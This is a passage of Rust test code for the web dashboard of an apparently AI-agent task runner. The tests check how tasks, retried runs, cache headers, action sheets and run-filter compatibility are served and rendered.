25447    fn task_view_serializes_source_link() {
25448        let mut t = Task::new(
25449            "t".to_owned(),
25450            "t".to_owned(),
25451            PathBuf::from("/repo"),
25452            Source::Agent {
25453                run: "20260901-000000-aaaa".to_owned(),
25454                node: "implement".to_owned(),
25455            },
25456        );
25457        t.runs.clear();
25458        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25459        assert_eq!(v["source_link"]["kind"], "run", "{v}");
25460        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25461    }
25462
25463    #[test]
25464    fn task_view_serializes_urgent_flag() {
25465        let mut t = Task::new(
25466            "t".to_owned(),
25467            "t".to_owned(),
25468            PathBuf::from("/repo"),
25469            Source::Human,
25470        );
25471        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25472        assert_eq!(v["urgent"], false, "{v}");
25473        t.urgent = true;
25474        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25475        assert_eq!(v["urgent"], true, "{v}");
25476        assert!(APP_JS.contains("task.urgent === true"));
25477    }
25478
25479    #[tokio::test]
25480    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25481        let fx = Fixture::start().await;
25482        let runs = fx.runs();
25483        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25484        write_run(&runs, old, RunStatus::Blocked);
25485        write_run(&runs, new, RunStatus::Merged);
25486        let mut t = outcome_task(&[old, new], TaskStatus::Done);
25487        fx.queue().put(&mut t).expect("put");
25488
25489        let view = fx.get(&format!("/api/runs/{old}")).await.json();
25490        let task = &view["task"];
25491        assert_eq!(task["status"], "done");
25492        assert_eq!(task["is_latest"], false);
25493        assert_eq!(task["latest"]["short"], "bbbb");
25494        assert_eq!(task["finished_by"]["id"], new);
25495        assert_eq!(task["finished_by"]["outcome"], "merged");
25496        assert_eq!(task["closed_by_hand"], false);
25497        assert_eq!(view["status"], "blocked", "the run keeps its own status");
25498        assert!(APP_JS.contains("finished_by"));
25499        assert!(APP_JS.contains("superseded by run"));
25500    }
25501
25502    #[tokio::test]
25503    async fn the_latest_run_reports_a_held_task_without_a_successor() {
25504        let fx = Fixture::start().await;
25505        let runs = fx.runs();
25506        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25507        write_run(&runs, old, RunStatus::Stalled);
25508        write_run(&runs, new, RunStatus::Blocked);
25509        let mut t = outcome_task(&[old, new], TaskStatus::Held);
25510        fx.queue().put(&mut t).expect("put");
25511
25512        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25513        assert_eq!(task["status"], "held");
25514        assert_eq!(task["is_latest"], true);
25515        assert!(task["latest"].is_null());
25516        assert!(task["finished_by"].is_null());
25517        assert_eq!(task["closed_by_hand"], false);
25518    }
25519
25520    #[tokio::test]
25521    async fn a_direct_run_has_no_task_outcome() {
25522        let fx = Fixture::start().await;
25523        let runs = fx.runs();
25524        let id = "20260901-000000-aaaa";
25525        write_run(&runs, id, RunStatus::Blocked);
25526        let view = fx.get(&format!("/api/runs/{id}")).await.json();
25527        assert!(view["task"].is_null());
25528    }
25529
25530    #[test]
25531    fn task_outcome_does_not_guess_a_finishing_run() {
25532        let a = "20260901-000000-aaaa";
25533        let b = "20260901-000000-bbbb";
25534        let c = "20260901-000000-cccc";
25535        let dir = tempfile::tempdir().expect("tempdir");
25536        write_run(dir.path(), a, RunStatus::Blocked);
25537        write_run(dir.path(), b, RunStatus::VerifiedNoop);
25538        // `c` has no record: unreadable.
25539        let read = |id: &str| read_run(dir.path(), id).ok();
25540        // Neither a blocked run nor a no-op finished the task; the newest run is
25541        // unreadable and still named.
25542        let t = outcome_task(&[a, b, c], TaskStatus::Done);
25543        let out = task_outcome(&t, a, 3, read);
25544        assert!(out.finished_by.is_none());
25545        assert!(out.closed_by_hand);
25546        let latest = out.latest.expect("latest");
25547        assert_eq!(latest.id, c);
25548        assert_eq!(latest.status, None);
25549        assert_eq!(latest.outcome, "record unreadable");
25550
25551        // A Ready run settles the task as done, so it is named as the finisher.
25552        write_run(dir.path(), c, RunStatus::Ready);
25553        let t = outcome_task(&[a, c], TaskStatus::Done);
25554        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25555        assert_eq!(out.finished_by.expect("finisher").id, c);
25556        assert!(!out.closed_by_hand);
25557
25558        // A resumed run id repeats: it is still the latest by id.
25559        let t = outcome_task(&[a, b, a], TaskStatus::Held);
25560        assert!(task_outcome(&t, a, 3, read).is_latest);
25561    }
25562
25563    #[tokio::test]
25564    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25565        // The list route has known this since the card fix above; the detail
25566        // route — what an operator actually opens from a notification about
25567        // a blocked run — did not, and went on showing a bare red BLOCKED
25568        // chip for a run a retry had already finished.
25569        let fx = Fixture::start().await;
25570        let q = fx.queue();
25571        let runs = fx.runs();
25572        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25573        write_run(&runs, first, RunStatus::Blocked);
25574        write_run(&runs, second, RunStatus::Merged);
25575
25576        let mut t = Task::new(
25577            "one task".to_owned(),
25578            "do it".to_owned(),
25579            PathBuf::from("/repo"),
25580            Source::Human,
25581        );
25582        t.runs = vec![first.to_owned(), second.to_owned()];
25583        q.put(&mut t).expect("put");
25584
25585        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25586        assert_eq!(earlier["superseded_by"], "dddd");
25587        assert_eq!(earlier["latest_attempt"]["id"], second);
25588        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25589        assert_eq!(
25590            earlier["latest_attempt"]["resolved"], true,
25591            "the run that replaced it landed, so this one reads as settled"
25592        );
25593
25594        let later = fx.get(&format!("/api/runs/{second}")).await.json();
25595        assert!(
25596            later["superseded_by"].is_null(),
25597            "the latest attempt is not superseded by anything"
25598        );
25599        assert!(
25600            later["latest_attempt"].is_null(),
25601            "the latest attempt has no later attempt of its own"
25602        );
25603
25604        // Front end: the detail page has to read the field this route now
25605        // carries, downgrade the chip, and link to the run that replaced it —
25606        // not just repeat the list card's own logic under a different name.
25607        // The link is built off `latest_attempt.id`, the server-resolved
25608        // full id, never a bare short string a client would have to guess a
25609        // full run from.
25610        assert!(APP_JS.contains("run.latest_attempt"));
25611        assert!(APP_JS.contains("data-superseded"));
25612        assert!(APP_JS.contains("#/runs/${latest.id}"));
25613    }
25614
25615    #[tokio::test]
25616    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25617        // A -> B -> C, all Blocked except the last. A's immediate successor
25618        // (superseded_by) is B, which is itself unresolved; what an operator
25619        // opening A's page actually needs is where the task's story stands
25620        // *now* - C, not B - without depending on whether C happens to be in
25621        // whatever page of /api/runs the client last cached.
25622        let fx = Fixture::start().await;
25623        let q = fx.queue();
25624        let runs = fx.runs();
25625        let (a, b, c) = (
25626            "20260901-000000-aaaa",
25627            "20260901-000000-bbbb",
25628            "20260901-000000-cccc",
25629        );
25630        write_run(&runs, a, RunStatus::Blocked);
25631        write_run(&runs, b, RunStatus::Blocked);
25632        write_run(&runs, c, RunStatus::Merged);
25633
25634        let mut t = Task::new(
25635            "retried twice".to_owned(),
25636            "do it".to_owned(),
25637            PathBuf::from("/repo"),
25638            Source::Human,
25639        );
25640        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25641        q.put(&mut t).expect("put");
25642
25643        let view = fx.get(&format!("/api/runs/{a}")).await.json();
25644        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25645        assert_eq!(
25646            view["latest_attempt"]["id"], c,
25647            "the chain's current head, not the intermediate Blocked retry"
25648        );
25649        assert_eq!(view["latest_attempt"]["resolved"], true);
25650
25651        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25652        assert_eq!(mid["latest_attempt"]["id"], c);
25653        assert_eq!(mid["latest_attempt"]["resolved"], true);
25654    }
25655
25656    #[tokio::test]
25657    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25658        let fx = Fixture::start().await;
25659        let q = fx.queue();
25660        let runs = fx.runs();
25661
25662        // Still Blocked: the task is not resolved, so the older run must not
25663        // read as settled either.
25664        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25665        write_run(&runs, still_blocked_a, RunStatus::Blocked);
25666        write_run(&runs, still_blocked_b, RunStatus::Blocked);
25667        let mut t1 = Task::new(
25668            "still stuck".to_owned(),
25669            "do it".to_owned(),
25670            PathBuf::from("/repo"),
25671            Source::Human,
25672        );
25673        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25674        q.put(&mut t1).expect("put");
25675        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25676        assert_eq!(view1["latest_attempt"]["resolved"], false);
25677        assert_eq!(view1["latest_attempt"]["status"], "blocked");
25678        assert_eq!(view1["latest_attempt"]["done"], true);
25679
25680        // Still running: the successor exists and must be reported as such.
25681        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25682        write_run(&runs, run_a, RunStatus::Blocked);
25683        write_run(&runs, run_b, RunStatus::Implementing);
25684        let mut t3 = Task::new(
25685            "retrying".to_owned(),
25686            "do it".to_owned(),
25687            PathBuf::from("/repo"),
25688            Source::Human,
25689        );
25690        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25691        q.put(&mut t3).expect("put");
25692        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25693        assert_eq!(view3["latest_attempt"]["id"], run_b);
25694        assert_eq!(view3["latest_attempt"]["resolved"], false);
25695        assert_eq!(view3["latest_attempt"]["done"], false);
25696
25697        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
25698        // to check - not a confirmed finish, so this must not read as
25699        // resolved either, even though the run is done in the sense that
25700        // nothing is still running.
25701        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25702        write_run(&runs, noop_a, RunStatus::Blocked);
25703        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25704        let mut t2 = Task::new(
25705            "claims done".to_owned(),
25706            "do it".to_owned(),
25707            PathBuf::from("/repo"),
25708            Source::Human,
25709        );
25710        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25711        q.put(&mut t2).expect("put");
25712        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25713        assert_eq!(
25714            view2["latest_attempt"]["resolved"], false,
25715            "an unverified no-op claim must not read as a confirmed finish"
25716        );
25717
25718        // Front end: an unresolved successor must not carry the "finished
25719        // this work" note or the muted chip treatment.
25720        assert!(APP_JS.contains("latest.resolved"));
25721        // ...but the link to it shows as soon as it exists, labelled by state
25722        // and without the "finished" wording or the muted chip.
25723        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25724        assert!(APP_JS.contains("Latest attempt: "));
25725        assert!(APP_JS.contains("in flight"));
25726        assert!(APP_JS.contains("not resolved"));
25727    }
25728
25729    #[tokio::test]
25730    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25731        let fx = Fixture::start().await;
25732        // No cache header at all meant browsers invented their own policy,
25733        // and one did: a phone went on showing "Candidates must be folded
25734        // before deleting. Run `magi fold` first." - deleted two releases
25735        // earlier - from a deck that no longer contained the sentence. The
25736        // button it named was right there, and unreachable.
25737        let js = fx.get("/app.js").await;
25738        assert_eq!(js.status, 200);
25739        let tag = js
25740            .header("etag")
25741            .expect("an etag to revalidate against")
25742            .to_owned();
25743        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25744        assert_eq!(
25745            js.header("cache-control"),
25746            Some("no-cache, must-revalidate"),
25747            "the phone has to ask every time"
25748        );
25749
25750        // And the asking has to be cheap, or `must-revalidate` just means
25751        // "send the whole interface on every load".
25752        let again = fx
25753            .get_with("/app.js", &[("if-none-match", tag.as_str())])
25754            .await;
25755        assert_eq!(
25756            again.status, 304,
25757            "a deck it already has costs one round trip"
25758        );
25759        assert!(again.body.is_empty(), "304 carries no body");
25760
25761        // A weakened tag from a proxy still matches; a different build does
25762        // not, which is the case that has to deliver the new interface.
25763        let weak = fx
25764            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25765            .await;
25766        assert_eq!(weak.status, 304);
25767        let stale = fx
25768            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25769            .await;
25770        assert_eq!(stale.status, 200, "an older build must be replaced");
25771        assert!(stale.body.contains("renderRunActions"));
25772    }
25773
25774    #[test]
25775    fn the_task_detail_has_an_actions_fab_and_sheet() {
25776        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25777        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25778        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25779        // Shown only on the task route, closed everywhere else.
25780        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25781        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25782        // Refreshed whenever the detail redraws, including the loading state.
25783        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25784        assert!(APP_JS.contains("renderTaskActions(null);"));
25785        // Same action renderers as the Queue card. Bound this check by the
25786        // next function, since additional task controls can grow the sheet.
25787        let (_, sheet) = APP_JS
25788            .split_once("function renderTaskActions(task) {")
25789            .expect("sheet renderer");
25790        let (body, _) = sheet
25791            .split_once("\nfunction openTaskActions() {")
25792            .expect("end of sheet renderer");
25793        assert!(body.contains("changePriority("));
25794        assert!(body.contains("openTaskEdit(task)"));
25795        assert!(body.contains("renderTaskHoldBox(host"));
25796        assert!(body.contains("renderTaskDoneBox(host"));
25797        assert!(body.contains("renderTaskDeleteBox(host"));
25798        assert!(APP_JS.contains("API.priority(id)"));
25799        assert!(APP_JS.contains("API.deleteTask(id)"));
25800        // A deleted task sends the operator back to the queue.
25801        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25802        // A refusal is shown inside the sheet.
25803        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25804    }
25805
25806    #[test]
25807    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25808        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25809        let actions = INDEX_HTML
25810            .find("id=\"run-actions-box\"")
25811            .expect("actions box");
25812        assert!(task < actions, "the task entry comes first in the sheet");
25813        assert!(APP_JS.contains("renderRunTaskEntry"));
25814        assert!(APP_JS.contains("\"Open task \""));
25815        // A run without a task says why there is nothing to open.
25816        assert!(APP_JS.contains("started directly, no task"));
25817        assert!(APP_JS.contains("sheet-task-link"));
25818        assert!(APP_JS.contains("task-chip-link"));
25819    }
25820
25821    #[test]
25822    fn the_deck_never_sends_the_operator_to_a_terminal() {
25823        // The whole point of the phone UI is that a terminal is not needed.
25824        // The delete control used to answer with "Run `magi fold` first."
25825        assert!(
25826            !APP_JS.contains("Run `magi fold` first"),
25827            "the deck must offer the fold, not prescribe a shell command"
25828        );
25829        assert!(APP_JS.contains("foldRun:"));
25830        assert!(APP_JS.contains("resumeRun:"));
25831        assert!(APP_JS.contains("renderRunActions"));
25832
25833        // Folding is destructive and armed in two steps, like deleting.
25834        assert!(APP_JS.contains("armedFold"));
25835        assert!(APP_JS.contains("Yes, fold worktrees"));
25836
25837        // And the copy has to say that the two actions are opposites, because
25838        // folding throws away exactly what a resume would continue from.
25839        assert!(APP_JS.contains("can no longer be resumed"));
25840    }
25841
25842    #[test]
25843    fn a_finished_run_explains_itself_with_its_own_last_line() {
25844        // The deck used to answer "why did this stop?" with a sentence chosen
25845        // by status alone. Run e633 stalled because two judges answered with
25846        // the wrong JSON shape and its card said "The panel collapsed on
25847        // agent quota" - with `quota: []` in the record and a quota-loss
25848        // counter right above it that correctly said nothing.
25849        assert!(
25850            !APP_JS.contains("collapsed on agent quota"),
25851            "a stall must not be explained by a cause the deck did not check"
25852        );
25853        assert!(
25854            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25855            "and a block must not offer a guess with an `or` in it"
25856        );
25857
25858        // The reason it does have is `run.event`, which must reach finished
25859        // runs: gating it on movement hid the recorded truth at the one moment
25860        // the operator is reading the card to find out what happened.
25861        assert!(
25862            APP_JS.contains("setText(r.event, run.event || \"\")"),
25863            "the run's last line is rendered unconditionally"
25864        );
25865        assert!(
25866            !APP_JS.contains("moving && run.event"),
25867            "and never gated on the run still moving"
25868        );
25869
25870        // Quota keeps its own counter, fed by the number actually recorded.
25871        assert!(APP_JS.contains("lost to quota"));
25872    }
25873
25874    /// The runs tree (section) and the state chips (waiting/done) are two
25875    /// independent lenses ANDed together in `renderRuns`, and some pairings
25876    /// can never both be true for any run - every "Landed"/"Ended" run is
25877    /// done by construction, so pairing either with "Active" or "In flight"
25878    /// always rendered zero cards with the filter bar still claiming
25879    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25880    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25881    /// a handful of (waiting, status) shapes standing in for the run
25882    /// lifecycle, because `cargo test` cannot execute the front end.
25883    ///
25884    /// That stand-in list is itself the part that drifted twice in review:
25885    /// once shipped with `waiting: true` paired with a done status the
25886    /// lifecycle cannot produce, then over-corrected into treating every
25887    /// waiting run as never done - which made "Waiting on you" look
25888    /// incompatible with "Done" even for the one real, reachable shape
25889    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25890    /// that combination. This test parses the shapes and the done-rule back
25891    /// out of `APP_JS`, reimplements `runSection` and the five state
25892    /// predicates independently in Rust, and checks the resulting
25893    /// section/filter compatibility table against the lifecycle rules by
25894    /// hand - so either direction of drift fails it again.
25895    #[test]
25896    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25897        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25898        let shapes_body_start =
25899            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25900        let shapes_close = APP_JS[shapes_body_start..]
25901            .find("].map(")
25902            .expect("the shape list is closed by its done-computing .map(...)")
25903            + shapes_body_start;
25904        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25905
25906        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25907        for entry in shapes_src.split('{').skip(1) {
25908            let waiting = entry.contains("waiting: true");
25909            let dead = entry.contains("live: \"dead\"");
25910            let status_at =
25911                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25912            let status_end = entry[status_at..]
25913                .find('"')
25914                .expect("the status string is closed")
25915                + status_at;
25916            let parked = entry.contains("display_status: \"parked\"");
25917            shapes.push((
25918                waiting,
25919                entry[status_at..status_end].to_string(),
25920                dead,
25921                parked,
25922            ));
25923        }
25924        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25925
25926        // The done rule itself (`!["implementing"].includes(shape.status)`),
25927        // read out of the source rather than hardcoded, so a renamed
25928        // in-flight status can't silently make every parsed shape "done".
25929        let done_rule_marker = "done: !";
25930        let done_rule_at = APP_JS[shapes_close..]
25931            .find(done_rule_marker)
25932            .expect("the done rule follows the shape list")
25933            + shapes_close
25934            + done_rule_marker.len();
25935        let includes_at = APP_JS[done_rule_at..]
25936            .find(".includes(shape.status)")
25937            .expect("the done rule ends in .includes(shape.status)")
25938            + done_rule_at;
25939        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25940            .trim()
25941            .trim_start_matches('[')
25942            .trim_end_matches(']')
25943            .split(',')
25944            .map(|s| s.trim().trim_matches('"'))
25945            .filter(|s| !s.is_empty())
25946            .collect();
25947
25948        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25949            .into_iter()
25950            .map(|(waiting, status, dead, parked)| {
25951                let done = !not_done.contains(&status.as_str());
25952                (waiting, status, dead, parked, done)
25953            })
25954            .collect();
25955
25956        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25957        // outright, then merged/ready land, stalled/blocked/failed/
25958        // verified_noop end, and everything else is still in flight.
25959        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25960            if waiting {
25961                return "waiting";
25962            }
25963            if dead
25964                && !parked
25965                && !matches!(
25966                    status,
25967                    "merged"
25968                        | "ready"
25969                        | "stalled"
25970                        | "blocked"
25971                        | "failed"
25972                        | "verified_noop"
25973                        | "superseded"
25974                        | "already_in_base"
25975                )
25976            {
25977                return "stale";
25978            }
25979            match status {
25980                "merged" | "ready" => "landed",
25981                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25982                | "already_in_base" => "ended",
25983                _ => "flight",
25984            }
25985        }
25986
25987        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25988        // way.
25989        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25990            match filter_key {
25991                "active" => !done,
25992                "flight" => !done && !waiting && !dead,
25993                "stale" => !done && !waiting && dead,
25994                "waiting" => waiting,
25995                "done" => done,
25996                "all" => true,
25997                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25998            }
25999        }
26000
26001        let compatible = |section: &str, filter_key: &str| {
26002            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26003                run_section(*waiting, status, *dead, *parked) == section
26004                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26005            })
26006        };
26007
26008        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26009        // (active, flight, stale, waiting, done, all) - hand-derived from the
26010        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26011        // currently contains.
26012        let expected = [
26013            ("waiting", [true, false, false, true, true, true]),
26014            ("stale", [true, false, true, false, false, true]),
26015            ("flight", [true, true, false, false, false, true]),
26016            ("landed", [false, false, false, false, true, true]),
26017            ("ended", [false, false, false, false, true, true]),
26018        ];
26019        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26020
26021        for (section, wants) in expected {
26022            for (filter_key, want) in filter_keys.iter().zip(wants) {
26023                assert_eq!(
26024                    compatible(section, filter_key),
26025                    want,
26026                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26027                );
26028            }
26029        }
26030
26031        // The compatibility check exists only to be acted on: both pickers
26032        // must actually consult it rather than just render its answer.
26033        assert!(
26034            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26035        );
26036        assert!(APP_JS.contains(
26037            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26038        ));
26039        assert!(APP_JS.contains(
26040            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26041        ));
26042    }
26043
26044    #[tokio::test]
26045    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26046        // An operator-named directory - git checkout or not - is never
26047        // second-guessed, even when it does not exist at all: only the
26048        // flag's own unmodified `.` default is ever eligible for discovery.
26049        let dir = tempfile::tempdir().expect("tempdir");
26050        let explicit = dir.path().join("not-a-checkout");
26051        std::fs::create_dir_all(&explicit).expect("create dir");
26052        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26053
26054        let missing = dir.path().join("does-not-exist-at-all");
26055        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26056    }
26057
26058    #[test]
26059    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26060        assert!(APP_JS.contains("function statsDonutArcs"));
26061        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26062        // A bucket click filters by the statuses src/stats.rs counts in it.
26063        assert!(APP_JS.contains("function statusInBucket"));
26064        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26065        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26066        let buckets = [
26067            "merged",
26068            "ready",
26069            "in_progress",
26070            "blocked",
26071            "failed",
26072            "verified_noop",
26073            "superseded",
26074            "stalled",
26075        ];
26076        for key in buckets {
26077            let var = format!("--verdict-{key}:");
26078            // Light, OS-dark and pinned-dark blocks each define it.
26079            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26080            assert!(
26081                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26082                "{key}"
26083            );
26084        }
26085    }
26086
26087    #[tokio::test]
26088    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26089        let dir = tempfile::tempdir().expect("tempdir");
26090        let queue = Queue::at(dir.path().join("queue"));
26091        let talks = Talks::at(dir.path().join("talks"));
26092        std::fs::create_dir_all(queue.root()).unwrap();
26093        std::fs::create_dir_all(talks.root()).unwrap();
26094
26095        // Put a corrupt json file in both stores
26096        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26097        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26098
26099        // Valid task and talk
26100        let mut task = Task::new(
26101            "title".into(),
26102            "inst".into(),
26103            PathBuf::from("/repo"),
26104            Source::Human,
26105        );
26106        task.id = "20261019-123456-abcd".into();
26107        // Write manually so it's a valid file
26108        std::fs::write(
26109            queue.path_of(&task.id),
26110            serde_json::to_string(&task).unwrap(),
26111        )
26112        .unwrap();
26113
26114        let talk_id = "20261019-234567-cdef";
26115        seed_talk_at(&talks, talk_id, "open");
26116
26117        // Exact match should succeed without failing on the corrupt json file
26118        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26119        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26120
26121        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26122        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26123        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26124    }
26125
26126    #[tokio::test]
26127    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26128        let home = tempfile::tempdir().unwrap();
26129        let ui = delta_test_ui(home.path());
26130        // A full history traversal would fail even with no questions.
26131        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26132        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26133        assert!(
26134            questions_list(State(ui.clone()))
26135                .await
26136                .unwrap()
26137                .0
26138                .is_empty()
26139        );
26140        assert!(
26141            question_origins(State(ui.clone()))
26142                .await
26143                .unwrap()
26144                .0
26145                .is_empty()
26146        );
26147        let mut question = Question::new(
26148            "run-history".into(),
26149            "review".into(),
26150            "seat".into(),
26151            "Useful question".into(),
26152            "Useful detail".into(),
26153            vec![],
26154        );
26155        ui.questions.put(&mut question).unwrap();
26156        let core = questions_core(State(ui.clone())).await.unwrap().0;
26157        assert_eq!(core.len(), 1);
26158        assert_eq!(core[0].question.summary, "Useful question");
26159        assert!(!core[0].can_consult_chat);
26160        assert!(core[0].origin_chat.is_none());
26161        assert_eq!(core[0].record_revision, question_record_revision(&question));
26162        assert!(question_origins(State(ui.clone())).await.is_err());
26163        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26164    }
26165
26166    #[tokio::test]
26167    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26168        let home = tempfile::tempdir().unwrap();
26169        let ui = delta_test_ui(home.path());
26170        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26171        let mut parent = Task::new(
26172            "parent".into(),
26173            "body".into(),
26174            PathBuf::from("/repo"),
26175            Source::Agent {
26176                run: chat.clone(),
26177                node: crate::queue::CHAT_NODE.into(),
26178            },
26179        );
26180        parent.id = "parent-task".into();
26181        parent.runs = vec!["parent-run".into()];
26182        ui.queue.put(&mut parent).unwrap();
26183        let mut previous = parent;
26184        for generation in 1..=2 {
26185            let mut child = Task::new(
26186                "child".into(),
26187                "body".into(),
26188                PathBuf::from("/repo"),
26189                Source::Human,
26190            );
26191            child.id = format!("child-task-{generation}");
26192            child.runs = vec![format!("child-run-{generation}")];
26193            child.followup = Some(crate::queue::FollowUp {
26194                origin_task: Some(previous.id.clone()),
26195                run: previous.runs[0].clone(),
26196                pr: String::new(),
26197                findings: vec![],
26198                generation,
26199            });
26200            ui.queue.put(&mut child).unwrap();
26201            previous = child;
26202        }
26203        // A run may have the same spelling as another task's id; its owner
26204        // must not override a typed task reference.
26205        let mut collision = Task::new(
26206            "collision".into(),
26207            String::new(),
26208            PathBuf::from("/repo"),
26209            Source::Human,
26210        );
26211        collision.id = "collision-task".into();
26212        collision.runs = vec![previous.id.clone()];
26213        ui.queue.put(&mut collision).unwrap();
26214        let mut questions = Vec::new();
26215        for (node, reference, expected, eligible) in [
26216            (crate::triage::NODE, previous.id.as_str(), true, false),
26217            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26218            ("review", previous.runs[0].as_str(), true, true),
26219            (
26220                crate::bump::NOTICE_NODE,
26221                previous.runs[0].as_str(),
26222                true,
26223                false,
26224            ),
26225            // Identical text in the wrong reference namespace is not evidence.
26226            ("review", previous.id.as_str(), false, false),
26227            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26228            ("review", "unrelated", false, false),
26229        ] {
26230            let mut q = Question::new(
26231                reference.into(),
26232                node.into(),
26233                "seat".into(),
26234                "Question".into(),
26235                String::new(),
26236                vec![],
26237            );
26238            ui.questions.put(&mut q).unwrap();
26239            questions.push((q, expected, eligible));
26240        }
26241        for (node, reference, associated, eligible) in [
26242            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26243            (
26244                crate::reconcile::NODE,
26245                previous.runs[0].as_str(),
26246                false,
26247                true,
26248            ),
26249            ("implement", previous.id.as_str(), false, false),
26250        ] {
26251            let mut q = Question::new(
26252                reference.into(),
26253                node.into(),
26254                crate::reconcile::SEAT.into(),
26255                "Reconcile".into(),
26256                String::new(),
26257                vec![],
26258            );
26259            ui.questions.put(&mut q).unwrap();
26260            questions.push((q, associated, eligible));
26261        }
26262        let mut release = Question::new(
26263            "release-record".into(),
26264            crate::bump::NOTICE_NODE.into(),
26265            "release-watch".into(),
26266            "Release".into(),
26267            String::new(),
26268            vec![],
26269        );
